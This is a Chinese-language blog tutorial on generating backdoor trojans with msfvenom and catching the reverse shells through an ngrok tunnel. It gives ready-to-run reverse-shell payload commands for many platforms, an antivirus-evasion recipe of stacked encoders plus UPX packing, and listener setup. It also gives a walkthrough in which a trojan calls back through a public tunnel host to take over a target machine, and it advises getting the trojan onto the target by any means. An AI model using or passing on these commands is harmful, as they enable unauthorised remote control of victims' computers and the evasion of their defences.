msfvenom生成木马和内网穿透
msfvenom命令行選項如下:
英文原版
中文版:
Options:
-p, --payload?<payload> 指定需要使用的payload(攻擊荷載)。如果需要使用自定義的payload,請使用'-'或者stdin指定?
-l, --list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all?
-n, --nopsled?<length> 為payload預先指定一個NOP滑動長度?
-f, --format?<format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表)?
-e, --encoder [encoder] 指定需要使用的encoder(編碼器)?
-a, --arch?<architecture> 指定payload的目標架構,這里x86是32位,x64是64位 -platform?<platform> 指定payload的目標平臺?
-s, --space?<length> 設定有效攻擊荷載的最大長度?
-b, --bad-chars?<list> 設定規避字符集,比如:?'\x00\xff'?
-i, --iterations?<count> 指定payload的編碼次數?
-c, --add-code?<path> 指定一個附加的win32 shellcode文件?
-x, --template?<path> 指定一個自定義的可執行文件作為模板?
-k, --keep 保護模板程序的動作,注入的payload作為一個新的進程運行 --payload-options 列舉payload的標準選項?
-o, --out?<path> 保存payload?
-v, --var-name?<name> 指定一個自定義的變量,以確定輸出格式?
--shellest 最小化生成payload?
-h, --help 查看幫助選項 --help-formats 查看msf支持的輸出格式列表
這里舉出一些利用msfvenom生成shell的命令:
Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect?On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f exe > shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f raw > shell.php
cat shell.php | pbcopy &&?echo?'<?php ' | tr -d?'\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f raw > shell.jsp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your?IP?Address> LPORT=<Your?Port?to?Connect?On> -f raw > shell.pl
以上是基本的生成后門木馬,只要想方設法放到目標機器上,并運行。在本地監聽端口即可,但是你需要有一個公網的ip
下面來探究一下如何免殺:
1.可以嘗試多重編碼:
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect?On> -e x86/shikata_ga_nai -i?20 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i?5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i?10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i?10 -x calc.exe -f exe -o shell.exe
這里使用管道讓msfvenom對攻擊載荷多重編碼,先用shikata_ga_nai編碼20次,接著來10次的alpha_upper編碼,再來10次的countdown編碼,最后才生成以calc.exe為模板的可執行文件。
2.對上述生成的木馬進行upx加殼
upx?shell.exe
不過現在的殺毒軟件越來越nb,一般免殺也已經不好過...
?
下面以Aspx為例:
show payloads
use windows/shell_reverse_tcpinfoset?lhost 192.168.0.133set?lport 4444save接著輸入generate -h 查看幫助:
各版本ShellCode的命令如下:
generate -t asp?//生成Asp版的ShellCode generate -t aspx?//生成Aspx版的ShellCode
把生成的木馬放在c:/inetpub/wwwroot下,訪問。同時在msf中設置監聽:
use exploit/multi/handler
set?payload windows/meterpreter/reverse_tcp
set?lhost 192.168.0.133set?lport 4444run
補充:該方法一定要網速夠快,否則很容易失敗,本機監聽端口可選用4444端口或其他
parrot使用ngrok+msfvenom穿透反彈shell
外網中的內網和我們不在同一個網段,所以我們需要搞一個公網,讓受害者去訪問我們的公網,再在公網上搞個端口映射到我們內網,這樣就實現了內網穿透
攻擊機parrot ip:192.168.127.131
目標機器windows ip :192.168.43.27
首先兩臺機器不在一個網端,自然是無法ping通:
這里模仿目標機器在公網
攻擊機器在內網,攻擊機器怎樣通過ngrok代理來接受彈回來的shell
?
1.在ngrok官網注冊賬號,并開通免費賬號
官網地址:http://www.ngrok.cc
創建成功后:
2.下載ngrok客戶端
https://www.ngrok.cc/download.html
我這里使用的是parrot。所以選擇linux版本
文件解壓后得到:sunny
3.啟動sunny,開啟轉發
./sunny clientid 隧道id
4.配置木馬來反彈shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=14001 -f exe -o ./test.exe
其中LHOST,LPORT均為ngrok代理服務器地址與端口
5.攻擊機本地msf監聽
use?exploit/multi/handle?set?payload windows/meterpreter/reverse_tcp?set?lhost 192.168.127.131?set?lport 9876?run
6.目標機器執行木馬
可以看到,shell反彈成功
——嗷嗷
總結
以上是生活随笔為你收集整理的msfvenom生成木马和内网穿透的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 内网渗透-域内信息收集
- 下一篇: 内网渗透-域渗透简单思路